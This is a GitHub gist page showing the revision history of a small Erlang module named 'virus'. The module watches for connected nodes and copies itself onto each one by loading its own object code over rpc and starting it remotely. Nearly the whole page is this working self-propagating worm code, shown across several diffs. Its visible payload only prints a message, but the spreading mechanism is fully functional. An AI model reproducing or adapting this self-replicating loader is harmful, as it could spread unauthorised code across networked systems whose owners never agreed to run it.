Created
March 4, 2011 09:26
-
-
Save eproxus/854389 to your computer and use it in GitHub Desktop.
Revisions
-
eproxus revised this gist
Mar 29, 2012 . 1 changed file with 2 additions and 2 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,6 +1,6 @@ %% @doc A small module that jumps between connected nodes. %% @author Gianfranco Alongi <gianfranco.alongi@gmail.com> %% @author Adam Lindberg <[email protected]> -module(virus). -export([start/0]). -
eproxus revised this gist
Mar 12, 2011 . No changes.There are no files selected for viewing
-
eproxus revised this gist
Mar 11, 2011 . 1 changed file with 23 additions and 12 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,24 +1,35 @@ %% @doc A small module that jumps between connected nodes. %% @author Gianfranco Alongi <[email protected]> %% @author Adam Lindberg <[email protected]> -module(virus). -export([start/0]). -export([start/1]). start() -> spawn_process(code:get_object_code(?MODULE)). start(Beam) -> spawn_process(Beam). spawn_process(Beam) -> case whereis(?MODULE) of undefined -> spawn(fun() -> virus(Beam) end); _Else -> ok end. virus(Beam) -> register(?MODULE, self()), net_kernel:monitor_nodes(true), io:format(user, "You're infested!~n", []), %[infest(Node) || Node <- nodes()], virus_loop(Beam). virus_loop(Beam) -> receive {nodeup, Node} -> infest(Node, Beam), io:format(user, "~p has joined!~n", [Node]) end, virus_loop(Beam). infest(Node, {Mod, Bin, File} = Beam) -> {module, Mod} = rpc:call(Node, code, load_binary, [Mod, File, Bin]), rpc:call(Node, ?MODULE, start, [Beam]). -
eproxus revised this gist
Mar 11, 2011 . 1 changed file with 3 additions and 0 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,3 +1,6 @@ %% @doc A small module that jumps between connected nodes. %% @author Gianfranco Alongi <[email protected]> -module(virus). -export([start/0]). -
eproxus revised this gist
Mar 11, 2011 . 1 changed file with 12 additions and 8 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,18 +1,22 @@ -module(virus). -export([start/0]). start() -> spawn(fun virus/0). virus() -> io:format(user, "You're infested!~n", []), net_kernel:monitor_nodes(true), %[infest(Node) || Node <- nodes()], virus_loop(). virus_loop() -> receive {nodeup, Node} -> infest(Node), io:format("~p has joined!~n", [Node]) end, virus_loop(). infest(Node) -> {Mod, Bin, File} = code:get_object_code(?MODULE), -
eproxus created this gist
Mar 4, 2011 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,20 @@ %% @doc A small module that jumps between connected nodes. %% @author Gianfranco Alongi <[email protected]> -module(virus). -export([start/0]). start() -> io:format(user, "You're infested!~n", []), net_kernel:monitor_nodes(true), [ infest(Node) || Node <- nodes() ], loop(). loop() -> receive {nodeup, Node} -> infest(Node) end, loop(). infest(Node) -> {Mod, Bin, File} = code:get_object_code(?MODULE), {module, Mod} = rpc:call(Node, code, load_binary, [Mod, File, Bin]), rpc:call(Node, ?MODULE, start, []).